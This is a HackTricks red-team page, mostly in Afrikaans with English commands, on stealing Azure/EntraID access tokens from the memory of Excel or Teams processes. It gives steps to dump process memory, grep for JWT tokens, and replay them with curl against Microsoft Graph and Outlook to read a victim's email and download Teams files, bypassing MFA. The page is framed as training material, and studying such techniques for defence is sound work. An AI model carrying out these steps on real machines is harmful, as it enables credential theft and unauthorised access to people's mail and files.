Az - Processes Memory Access Token

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

Soos verduidelik in hierdie video, sommige Microsoft sagteware wat met die wolk gesinkroniseer is (Excel, Teams...) mag toegangstokens in duidelike teks in geheue stoor. So net dumping die geheue van die proses en grepping vir JWT tokens mag jou toegang gee tot verskeie hulpbronne van die slagoffer in die wolk terwyl jy MFA omseil.

Stappe:

1. Dump die excel prosesse wat gesinkroniseer is met die EntraID gebruiker met jou gunsteling hulpmiddel.

2. Loop: string excel.dmp | grep 'eyJ0' en vind verskeie tokens in die uitvoer

3. Vind die tokens wat jou die meeste interesseer en loop hulpmiddels oor hulle:

# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Let daarop dat hierdie tipe toegangstokens ook binne ander prosesse gevind kan word.

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsieplanne!

• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.